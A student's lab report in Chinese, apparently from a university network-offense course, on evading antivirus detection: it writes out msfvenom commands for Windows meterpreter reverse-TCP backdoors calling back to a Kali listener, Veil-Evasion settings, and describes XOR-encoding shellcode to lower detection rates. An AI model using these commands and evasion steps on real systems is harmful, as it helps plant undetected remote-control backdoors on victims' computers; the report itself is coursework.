20155320 Exp3 免杀原理与实践

  • 免杀

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

【基础问题回答】

  • (1)杀软是如何检测出恶意代码的?

    1.通过行为检测

    2.通过特征码的比对

    3.启发式检测

  • (2)免杀是做什么?

    是对恶意软件做处理,用来躲避杀毒软件的检查

  • (3)免杀的基本方法有哪些?

    方法有修改特征码

    改变行为特征

【正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧】

在老师提供的virscan上上传后门进行免杀测试。

1.全裸后门测试

  • 将未经处理过的后门直接在virscan上测试,发现裸奔的后门有18个杀软检测到了。

2.利用msfvenom对裸奔的后门进行编码处理

  • 对全裸的后门用如下命令,进行一次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b ‘\x00’ LHOST=192.168.19.128 LPORT=5320 -f exe > 5320-v1.exe

  • 然后将经过编码后的后门程序后门程序在virscan上进行免杀测试,发现有19个杀软检测到了它,并没有起到隐藏作用。

  • 然后我不死心又尝试了10次编码,只用把命令中i后面的数字改一下,就能控制编码次数了。

  • 然而对于杀软来说穿上10件衣服的它和裸奔的它并没有什么区别,他依然没能逃过杀软的眼睛。

3.Veil-Evasion免杀平台

  • 由于用的是老师的虚拟机,所以Veil已经安装好了,直接输入veil进入免杀平台,之后依次输入以下命令来进行选择
use evasion
use python/meterpreter/rev_tcp.py
set LHOST 192.168.19.133(kali IP)
set LPORT 5320

  • 设定完成后,输入generate出现了错误,很难受,文件生成不了

  • 之后我看了一下有很多同学出现了同样的错误,发现将语言换成C语言即可了。

  • 将产生的后门复制到windows下,加入杀软的信任列表里,进行检测,发现这次隐藏得不错,只有9个杀软检测到了。

  • 通过回连(方法见上一次实验),成功监听

4.利用shellcode编程实现免杀

  • 利用msf命令生成一个C语言的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.128.19.133 LPORT=5320 -f c

  • 将上图中生成的数组加上一个主函数建立一个met_5320.c的.c文件
  • 随后用命令i686-w64-mingw32-g++ met_5320.c -o met_5320.exe将.c文件转换为可执行文件met_5320.exe。

  • 可以将可执行文件复制到windows下可以检测一下它的隐蔽性,然而一复制就被我的电脑管家拦截了,授予信任后检测发现仍然有9个杀软检测到了它。

  • 回连但是exe文件运行有问题,很难受。

通过C语言调用Shellcode

  • 将shellcode拷到windows下,按老师的方法编写成.C文件通过VS编译运行得到的exe,可以回连到kali,报毒率也还可以,但是并没有低多少TAT。

手工版后门

  • 怎么能使报毒率变得更低呢,总的来说就是要将shellcode通过某种方式给藏起来,但是又能还原,发现大家的方法都五花八门的,我最终决定结合密码学的方法,将shellcode数组与1异或一下,主要是觉得应该隐藏效果不错而且简单。数组变化的代码如下。

  • 变化后的数组如下,而且我检测了一下再异或一下是能变回去的,而且目测还是变得挺面目全非的,放心啦~。

  • 将变化后的shellcode放入原C文件中,稍加变化(由于不让放代码,就不贴了),能回连成功,报毒率也相当低,只有2%了,开心,一直在报毒的瑞星也没发现,哈哈哈,用我的电脑管家查杀也很平静,感觉电脑管家保护不了我的电脑了。

【实验总结】

这次实验感觉相较有趣,技术性变强了,尤其是需要自己家手工制作后门实现免杀,感觉很有成就感,就是自己做后门的通用性不强,唉。还有就是发现瑞星很强呀,考虑之后换个杀软就换它了。

20155320 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. 学习笔记(2)——实验室集群LVS配置

    查看管理结点mgt的网卡信息,为mgt设置VIP [root@mgt ~]# ifconfig eth0 Link encap:Ethernet HWaddr 5C:F3:FC:E9:: inet a ...

  2. Android--listView的divider分割线样式和边距

    1.建立一个drawable文件list_divider.xml <?xml version="1.0" encoding="utf-8"?> &l ...

  3. jquery 绑定事件 获取方式 --------------data event 获取

    //绑定事件 bind event $("body").on("click",function(){ console.log("in") } ...

  4. 【three.js练习程序】创建简单物理场景

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  5. 关于动态加载js

    已知一个需要动态加载的js的文件路径数组,动态加载数组里面所有的js文件. 加载分两种情况: 1. 并行加载,不管js的执行顺序. 2. 串行加载,即一个一个加载,上一个加载完再加载下一个,直到最后. ...

  6. LeetCode题解之Unique Email Addresses

    1.题目描述 2.问题分析 将字符串中的 ‘.’ 去掉,将 ‘+’后面直到‘@’的字符串去掉,然后利用set的特性. 3.代码 int numUniqueEmails(vector<string ...

  7. Spark随机森林实战

    package big.data.analyse.ml.randomforest import org.apache.spark.ml.Pipeline import org.apache.spark ...

  8. Ehcache缓存配置和基本使用

    前言 在java项目广泛的使用中.它是一个开源的.设计于提高在数据从RDBMS中取出来的高花费.高延迟采取的一种缓存方案. 正因为Ehcache具有健壮性(基于java开发).被认证(具有apache ...

  9. 解决VB6.0中不能加载MSCOMCTL.OCX的错误提示

    VB6.0毕竟是很古老的开发工具了,其对所使用的第三方组件依赖性比较强,例如在打开从其它电脑上拿来的VB6.0的软件(系统)的工程文件(源代码)时,经常会遇到"不能加载MSCOMCTL.OC ...

  10. 【EJB学习笔记】——EJB开发环境搭建(Eclipse集成JBoss)

    之前一直用的EJB开发环境是他们搭建好的,直接拿来用,不过还是感觉老吃别人嚼好的不太好吃,所以自己动手来玩一玩. EJB开发依赖的最基本的环境:JDK.Eclipse.JBoss,这里简单介绍一下最基 ...